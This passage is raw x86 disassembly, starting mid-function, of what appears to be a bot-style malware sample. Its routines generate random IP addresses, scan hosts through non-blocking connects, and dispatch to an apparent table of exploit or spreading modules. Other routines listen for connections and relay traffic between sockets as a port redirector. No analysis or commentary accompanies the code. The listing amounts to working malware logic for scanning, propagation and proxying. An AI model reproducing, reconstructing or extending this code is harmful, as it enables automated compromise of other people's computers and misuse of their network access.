		mov	dword_44CB20, ebx
		call	ds:dword_41F060	; GetModuleFileNameA
		push	103h
		mov	esi, offset dword_44CA18
		push	offset aTilehome_com ; "Tilehome.com"
		push	esi
		call	sub_415140
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_44C910, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_44CBA8, eax
		jnz	short loc_40622B
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_44CB28
		call	sub_415140
		add	esp, 0Ch
		mov	dword_44CBAC, 1
		jmp	short loc_406245
; ---------------------------------------------------------------------------


loc_40622B:				; CODE XREF: sub_406059+1B3j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_44CB28
		call	sub_415140
		add	esp, 0Ch
		mov	dword_44CBAC, ebx


loc_406245:				; CODE XREF: sub_406059+1D0j
		push	esi
		push	edi
		push	dword_44CB24
		lea	eax, [ebp+var_104]
		push	offset unk_425F18
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_104]
		push	5
		push	eax
		call	sub_4132BE
		add	esp, 20h
		mov	dword_44CB1C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_44C910
		push	offset sub_4041D7
		push	ebx
		push	ebx
		call	ds:off_41F070
		mov	ecx, dword_44CB1C
		pop	edi
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_4062B9


loc_4062A3:				; CODE XREF: sub_406059+25Ej
		cmp	dword_44CBB0, ebx
		jnz	loc_4063DC
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_4062A3
; ---------------------------------------------------------------------------


loc_4062B9:				; CODE XREF: sub_406059+248j
		call	ds:off_41F06C
		push	eax
		push	offset unk_425ED8
		jmp	loc_4063CD
; ---------------------------------------------------------------------------


loc_4062CA:				; CODE XREF: sub_406059+25j
		cmp	dword_425A68[eax], ebx
		jz	loc_4063E9
		push	3
		call	sub_413506
		test	eax, eax
		pop	ecx
		jnz	loc_4063E9
		mov	esi, offset dword_44C7EC
		push	104h
		push	esi
		push	ebx
		call	ds:dword_41F060	; GetModuleFileNameA
		push	5Ch
		push	esi
		call	sub_415440
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_406308
		mov	[eax], bl


loc_406308:				; CODE XREF: sub_406059+2ABj
		mov	eax, dword_42A324
		mov	dword_44C904, ebx
		mov	dword_44C8F0, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_44C564
		call	sub_413812
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_44C560, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_44C8F0
		mov	dword_44C8FC, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_44C900, ecx
		call	sub_408A5D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_104]
		push	offset unk_425E8C
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_104]
		push	3
		push	eax
		call	sub_4132BE
		add	esp, 20h
		mov	dword_44C8F8, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_44C560
		push	offset sub_4048F1
		push	ebx
		push	ebx
		call	ds:off_41F070
		mov	ecx, dword_44C8F8
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_4063C1


loc_4063AF:				; CODE XREF: sub_406059+366j
		cmp	dword_44C90C, ebx
		jnz	short loc_4063DC
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_4063AF
; ---------------------------------------------------------------------------


loc_4063C1:				; CODE XREF: sub_406059+354j
		call	ds:off_41F06C
		push	eax
		push	offset unk_425E48


loc_4063CD:				; CODE XREF: sub_406059+26Cj
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_413812
		add	esp, 0Ch


loc_4063DC:				; CODE XREF: sub_406059+250j
					; sub_406059+35Cj
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_409833
		pop	ecx


loc_4063E9:				; CODE XREF: sub_406059+14j
					; sub_406059+35j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_406059	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4063ED	proc near		; CODE XREF: sub_40656E:loc_4065DFp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:438A20h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_4138F0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_44CC20	; ntohl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_44CCD8	; ntohl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_4138F0
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_4063ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406435	proc near		; CODE XREF: sub_40656E+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_413E90
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40645D
		xor	eax, eax
		jmp	short loc_4064CE
; ---------------------------------------------------------------------------


loc_40645D:				; CODE XREF: sub_406435+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_414D21
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40648A
		call	sub_41386E
		mov	[ebp+var_C], eax


loc_40648A:				; CODE XREF: sub_406435+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_406497
		call	sub_41386E
		mov	[ebp+var_8], eax


loc_406497:				; CODE XREF: sub_406435+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_4064A4
		call	sub_41386E
		mov	[ebp+var_4], eax


loc_4064A4:				; CODE XREF: sub_406435+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_4064B0
		call	sub_41386E


loc_4064B0:				; CODE XREF: sub_406435+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_438A20[ecx*8], eax


loc_4064CE:				; CODE XREF: sub_406435+26j
		pop	esi
		leave
		retn
sub_406435	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4064D1	proc near		; CODE XREF: sub_40656E+B8p
					; sub_40ADCF+35Dp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_44CD58	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4064FA
		xor	eax, eax
		jmp	short loc_406569
; ---------------------------------------------------------------------------


loc_4064FA:				; CODE XREF: sub_4064D1+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_44CD74	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_44CC88	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_44CCC4	; select
		push	esi
		mov	edi, eax
		call	dword_44CD70	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_406569:				; CODE XREF: sub_4064D1+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4064D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40656E	proc near		; DATA XREF: sub_406782+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	ds:dword_41F044	; GetTickCount
		push	eax
		call	sub_413864
		mov	ebx, esi
		pop	ecx
		imul	ebx, 134h


loc_4065B5:				; CODE XREF: sub_40656E+200j
		mov	eax, dword_45212C[ebx]
		cmp	dword_438A24[eax*8], 0
		jz	loc_406773
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_4065DF
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_406435
		pop	ecx
		jmp	short loc_4065E4
; ---------------------------------------------------------------------------


loc_4065DF:				; CODE XREF: sub_40656E+60j
		call	sub_4063ED


loc_4065E4:				; CODE XREF: sub_40656E+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_45212C[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_426044
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_452028[ebx]
		push	eax
		call	sub_413812
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_4064D1
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_406763
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_4066B8
		push	offset dword_44C2A0
		call	ds:off_41F09C
		push	[ebp+var_3C]
		push	edi
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_426008
		push	eax
		call	sub_413812
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40669A
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40668E
		lea	eax, [ebp+var_140]


loc_40668E:				; CODE XREF: sub_40656E+118j
		push	eax
		push	[ebp+var_40]
		call	sub_40B2B5
		add	esp, 14h


loc_40669A:				; CODE XREF: sub_40656E+FDj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_409833
		mov	[esp+2A8h+var_2A8], offset dword_44C2A0
		call	ds:off_41F098
		jmp	loc_406763
; ---------------------------------------------------------------------------


loc_4066B8:				; CODE XREF: sub_40656E+CDj
		push	edi
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_413812
		mov	eax, [ebp+var_20]
		imul	eax, 3Ch
		add	eax, offset aW1	; "w1"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_413812
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_4066FC
		lea	eax, [ebp+var_140]


loc_4066FC:				; CODE XREF: sub_40656E+186j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_413812
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	off_425A5C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_406763:				; CODE XREF: sub_40656E+C3j
					; sub_40656E+145j
		push	7D0h
		call	ds:dword_41F050	; Sleep
		jmp	loc_4065B5
; ---------------------------------------------------------------------------


loc_406773:				; CODE XREF: sub_40656E+55j
		push	esi
		call	sub_4135DA
		pop	ecx
		push	0
		call	ds:off_41F040
sub_40656E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406782	proc near		; DATA XREF: sub_40CC09+2E99o
					; sub_40CC09+48CDo

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_44CD18	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_438A20[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_406059
		push	8
		call	sub_413506
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_406850
		mov	esi, offset dword_44C2A0
		push	esi
		call	ds:off_41F0A4
		push	80000400h
		push	esi
		call	ds:off_41F0A0
		test	eax, eax
		jnz	short loc_406850
		lea	eax, [ebp+var_1CC]
		push	offset unk_426178
		push	eax
		call	sub_413812
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40683A
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40B2B5
		add	esp, 14h


loc_40683A:				; CODE XREF: sub_406782+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_409833
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_406850:				; CODE XREF: sub_406782+63j
					; sub_406782+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, ds:dword_41F050
		mov	edi, ebx
		mov	dword_438A24[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40691D


loc_40686E:				; CODE XREF: sub_406782+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_426130
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_4132BE
		mov	[ebp+var_28], eax
		imul	eax, 134h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_45212C[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40656E
		push	ebx
		push	ebx
		call	ds:off_41F070
		mov	ecx, [ebp+var_28]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_4068E8


loc_4068DD:				; CODE XREF: sub_406782+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_40690F
		push	1Eh
		call	esi	; Sleep
		jmp	short loc_4068DD
; ---------------------------------------------------------------------------


loc_4068E8:				; CODE XREF: sub_406782+159j
		call	ds:off_41F06C
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4260E4
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_409833
		add	esp, 10h


loc_40690F:				; CODE XREF: sub_406782+15Ej
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40686E


loc_40691D:				; CODE XREF: sub_406782+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_4069C7
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep


loc_406932:				; CODE XREF: sub_406782+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_438A20[eax*8]
		push	eax
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_426090
		push	eax
		call	sub_413812
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_406980
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40B2B5
		add	esp, 14h


loc_406980:				; CODE XREF: sub_406782+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_409833
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	dword_438A24[eax*8], ebx
		call	esi	; Sleep
		push	8
		call	sub_413506
		cmp	eax, 1
		pop	ecx
		jnz	short loc_4069B7
		push	offset dword_44C2A0
		call	ds:off_41F0A4


loc_4069B7:				; CODE XREF: sub_406782+228j
		push	[ebp+var_2C]
		call	sub_4135DA
		pop	ecx
		push	ebx
		call	ds:off_41F040


loc_4069C7:				; CODE XREF: sub_406782+19Ej
					; sub_406782+25Dj
		mov	eax, [ebp+var_2C]
		cmp	dword_438A24[eax*8], 1
		jnz	loc_406932
		push	7D0h
		call	esi	; Sleep
		jmp	short loc_4069C7
sub_406782	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4069E1	proc near		; DATA XREF: sub_40CC09+3270o

var_24C		= byte ptr -24Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp+var_10]
		push	ebx
		push	esi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_40]
		call	dword_44CCDC	; ntohs
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	dword_44CD58	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_406B45
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 134h
		push	401h
		push	esi
		push	ebx
		mov	dword_452134[eax], ebx
		call	dword_44CC08	; WSAAsyncSelect
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_44CD08	; bind
		test	eax, eax
		jnz	loc_406B45
		push	0Ah
		push	ebx
		call	dword_44CD04	; listen
		test	eax, eax
		jnz	loc_406B45


loc_406A8B:				; CODE XREF: sub_4069E1+BEj
					; sub_4069E1+13Fj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_44CD6C	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_406A8B
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_24C]
		push	offset unk_426210
		push	eax
		call	sub_413812
		push	edi
		lea	eax, [ebp+var_24C]
		push	10h
		push	eax
		call	sub_4132BE
		mov	[ebp+var_38], eax
		imul	eax, 134h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_45212C[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset sub_406B69
		push	esi
		push	esi
		call	ds:off_41F070
		mov	ecx, [ebp+var_38]
		imul	ecx, 134h
		cmp	eax, esi
		mov	dword_45213C[ecx], eax
		jz	short loc_406B30


loc_406B1D:				; CODE XREF: sub_4069E1+14Dj
		cmp	[ebp+var_2C], esi
		jnz	loc_406A8B
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_406B1D
; ---------------------------------------------------------------------------


loc_406B30:				; CODE XREF: sub_4069E1+13Aj
		call	ds:off_41F06C
		push	eax
		push	offset unk_4261C0
		call	sub_4098A7
		pop	ecx
		pop	ecx
		jmp	short loc_406B48
; ---------------------------------------------------------------------------


loc_406B45:				; CODE XREF: sub_4069E1+61j
					; sub_4069E1+93j ...
		mov	edi, [ebp+arg_0]


loc_406B48:				; CODE XREF: sub_4069E1+162j
		push	edi
		call	dword_44CD70	; closesocket
		push	ebx
		call	dword_44CD70	; closesocket
		push	[ebp+var_3C]
		call	sub_4135DA
		pop	ecx
		push	esi
		call	ds:off_41F040
		pop	edi
		pop	esi
		pop	ebx
sub_4069E1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B69	proc near		; DATA XREF: sub_4069E1+11Co

var_1244	= byte ptr -1244h
var_244		= byte ptr -244h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1244h
		call	sub_413E60
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		push	1
		pop	ecx
		mov	[ebp+var_4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_44CD58	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_406D1F
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_44CD18	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_406BF9
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_44CD5C	; gethostbyname
		jmp	short loc_406C07
; ---------------------------------------------------------------------------


loc_406BF9:				; CODE XREF: sub_406B69+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_44CC98	; gethostbyaddr


loc_406C07:				; CODE XREF: sub_406B69+8Ej
		cmp	eax, edi
		jz	loc_406D1F
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_44CC88	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_406D1F
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_244]
		push	offset unk_4262BC
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_244]
		push	10h
		push	eax
		call	sub_4132BE
		imul	ebx, 134h
		mov	[ebp+var_30], eax
		imul	eax, 134h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_452134[ebx]
		mov	dword_45212C[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_452138[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_406D50
		push	edi
		push	edi
		call	ds:off_41F070
		mov	ecx, [ebp+var_30]
		imul	ecx, 134h
		cmp	eax, edi
		mov	dword_45213C[ecx], eax
		jz	short loc_406D0C


loc_406CB9:				; CODE XREF: sub_406B69+15Dj
		cmp	[ebp+var_20], edi
		jnz	short loc_406CC8
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_406CB9
; ---------------------------------------------------------------------------


loc_406CC8:				; CODE XREF: sub_406B69+153j
		mov	ebx, 1000h


loc_406CCD:				; CODE XREF: sub_406B69+19Fj
		push	ebx
		lea	eax, [ebp+var_1244]
		push	edi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_1244]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_44CCF4	; recv
		cmp	eax, edi
		jle	short loc_406D1F
		push	edi
		push	eax
		lea	eax, [ebp+var_1244]
		push	eax
		push	[ebp+arg_0]
		call	dword_44CD28	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406CCD
		jmp	short loc_406D1F
; ---------------------------------------------------------------------------


loc_406D0C:				; CODE XREF: sub_406B69+14Ej
		call	ds:off_41F06C
		push	eax
		push	offset unk_426268
		call	sub_4098A7
		pop	ecx
		pop	ecx


loc_406D1F:				; CODE XREF: sub_406B69+44j
					; sub_406B69+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 134h
		push	dword_452134[eax]
		call	dword_44CD70	; closesocket
		push	[ebp+arg_0]
		call	dword_44CD70	; closesocket
		push	[ebp+var_4]
		call	sub_4135DA
		pop	ecx
		push	edi
		call	ds:off_41F040
		pop	edi
		pop	esi
		pop	ebx
sub_406B69	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D50	proc near		; DATA XREF: sub_406B69+130o

var_1128	= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_413E60
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 134h
		mov	edi, 1000h


loc_406D87:				; CODE XREF: sub_406D50+7Cj
		push	edi
		lea	eax, [ebp+var_1128]
		push	0
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_1128]
		push	0
		push	edi
		push	eax
		push	dword_452138[esi]
		call	dword_44CCF4	; recv
		test	eax, eax
		jle	short loc_406DCE
		push	0
		push	eax
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_452134[esi]
		call	dword_44CD28	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406D87


loc_406DCE:				; CODE XREF: sub_406D50+61j
		push	dword_452138[esi]
		call	dword_44CD70	; closesocket
		push	[ebp+var_14]
		call	sub_4135DA
		pop	ecx
		push	0
		call	ds:off_41F040
		pop	edi
		pop	esi
